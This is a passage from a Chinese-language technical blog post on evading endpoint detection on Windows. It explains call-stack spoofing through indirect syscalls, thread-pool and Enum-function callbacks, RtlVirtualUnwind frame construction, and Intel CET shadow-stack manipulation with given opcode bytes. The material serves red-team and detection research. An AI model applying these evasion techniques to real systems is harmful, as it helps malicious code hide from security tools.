rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">Err</span></span><span leaf="">(())</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我想运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">时，将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSN</span></code><span leaf="">加载到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">，参数放入正确的寄存器，然后跳转到跳板。内核看到返回地址指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">。干净。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012907" alt="x64dbg ZwProtectVirtualMemory disassembly" class="rich_pages wxw-img" data-ratio="0.16407766990291262" data-type="png" data-w="1030" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b143489d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShMAroXdjpTOlSLJib8VZ3Vf4aTulgAwQlWlDQ6DodNSX7lXWxcmQ1p7Yk87sydWCkAEaMltlY7OtQVOglLaErzsAELrEXjRTAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">x64dbg ZwProtectVirtualMemory disassembly</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">x64dbg ZwProtectVirtualMemory 反汇编</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.4 Windows 线程池</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">线程池 API（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateThreadpoolWork</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SubmitThreadpoolWork</span></code><span leaf="">等）允许你将工作项排队，由操作系统管理的工作线程执行。对我们来说重要的是：这些线程拥有天然干净的调用栈，因为它们是操作系统创建的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">线程池工作线程的栈如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">YourCallback</span><span leaf=""><br/></span><span leaf="">ntdll!TppWorkpExecuteCallback+4D0            ← internal TP function</span><span leaf=""><br/></span><span leaf="">ntdll!TppWorkerThread+801                    ← internal TP function</span><span leaf=""><br/></span><span leaf="">kernel32!BaseThreadInitThunk+17</span><span leaf=""><br/></span><span leaf="">ntdll!RtlUserThreadStart+2C</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">（旁注：取决于你的符号配置，调试器可能显示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TppWorkpExecuteCallback</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlSetThreadSubProcessTag+xxxx</span></code><span leaf="">。后者出现是因为实际的线程池函数并不总是在公共符号文件中。使用 Microsoft 公共 PDB 的 WinDbg 能正确解析它们；其他调试器可能不行。这第一次也让我困惑了。）</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过在线程池回调中运行我们的代码，我们免费获得了干净的栈基础。没有可疑的线程创建，底部没有无后备的入口点。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.5 Enum 回调函数</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Windows 有大量&#34;Enum&#34;函数，它们接受一个回调指针并迭代调用它。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">枚举区域设置，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceTypesW</span></code><span leaf="">枚举资源类型，等等。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关键特性：当操作系统调用你的回调时，Enum 函数本身作为真实帧出现在栈上。不是假帧。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">（内部派发到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase!Internal_EnumSystemLocales</span></code><span leaf="">）确实在调用你的代码。EDR 遍历栈时看到的是来自已签名模块的合法调用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关于我识别的 39 个具体函数的更多信息见第 7 节。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.6 使用 RtlVirtualUnwind 进行手动栈展开</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">是用于程序化栈展开的核心 Windows API。操作系统将其用于异常处理，调试器将其用于栈遍历。给定一个 RIP 和函数的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RUNTIME_FUNCTION</span></code><span leaf="">条目，它计算调用者的寄存器状态：返回地址、栈指针、保存的寄存器，一切。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">PEXCEPTION_ROUTINE </span><span style="color: rgb(111, 66, 193);"><span leaf="">RtlVirtualUnwind</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">    ULONG                          HandlerType,</span><span leaf=""><br/></span><span leaf="">    ULONG64                        ImageBase,</span><span leaf=""><br/></span><span leaf="">    ULONG64                        ControlPc,</span><span leaf=""><br/></span><span leaf="">    PRUNTIME_FUNCTION              FunctionEntry,</span><span leaf=""><br/></span><span leaf="">    PCONTEXT                       ContextRecord,    </span><span style="color: rgb(106, 115, 125);"><span leaf="">// in/out</span><span leaf=""><br/></span></span><span leaf="">    PVOID                         *HandlerData,</span><span leaf=""><br/></span><span leaf="">    PULONG64                       EstablisherFrame,</span><span leaf=""><br/></span><span leaf="">    PKNONVOLATILE_CONTEXT_POINTERS ContextPointers</span><span leaf=""><br/></span><span leaf="">);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我使用了它两次：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">阶段 1</span></strong><p><span leaf="">：从线程池工作线程展开，找到 TP 内部期望控制权返回的位置</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">阶段 2</span></strong><p><span leaf="">：从 Enum 回调展开，找到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">期望其回调返回的位置</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">两次我都从展开中捕获了真实的返回地址，然后用它来构建正确链式的栈帧。这不是猜测；我读取的是与操作系统将使用的完全相同的数据。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.7 Intel CET 与影子栈</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Intel CET 是一项硬件特性，其理念简单但对我们来说毁灭性：每个线程有两个栈。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><span leaf="">正常栈</span></strong><p><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RSP</span></code><span leaf="">）：任何人都可以写</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">影子栈</span></strong><p><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSP</span></code><span leaf="">）：硬件保护，仅用于返回地址</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CALL</span></code><span leaf="">时：将返回地址压入两者。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RET</span></code><span leaf="">时：从两者弹出，比较。不匹配 = </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h7-nm7gdi" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a></span></code><span leaf="">异常 = 进程死亡。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">CALL some_function:</span><span leaf=""><br/></span><span leaf="">    Normal stack:  push return_addr     ← you can tamper with this</span><span leaf=""><br/></span><span leaf="">    Shadow stack:  push return_addr     ← hardware-protected, you can&#39;t</span><span leaf=""><br/></span><span leaf="">RET:</span><span leaf=""><br/></span><span leaf="">    pop normal_ret  from normal stack</span><span leaf=""><br/></span><span leaf="">    pop shadow_ret  from shadow stack</span><span leaf=""><br/></span><span leaf="">    if normal_ret != shadow_ret → <a class="wx_topic_link" topic-id="mrmb41h7-4yj528" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a> fault → crash</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这终结了传统的栈伪造。你可以随意伪造正常栈，但影子栈保存着真实地址，而你无法写入它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不过，有两个用户模式指令我们可以使用：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指令</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">操作码字节</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">功能</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDSSPQ reg</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">F3 48 0F 1E C8</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">将影子栈指针读入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reg</span></code><span leaf="">。如果 CET 关闭则返回 0。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ reg</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">F3 48 0F AE E9</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">将 SSP 向前推进 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reg × 8</span></code><span leaf="">字节（x64 上每个单位一个条目）。</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">重要提示：</span></strong><span leaf="">还有一个 32 位变体 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">，它按 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, 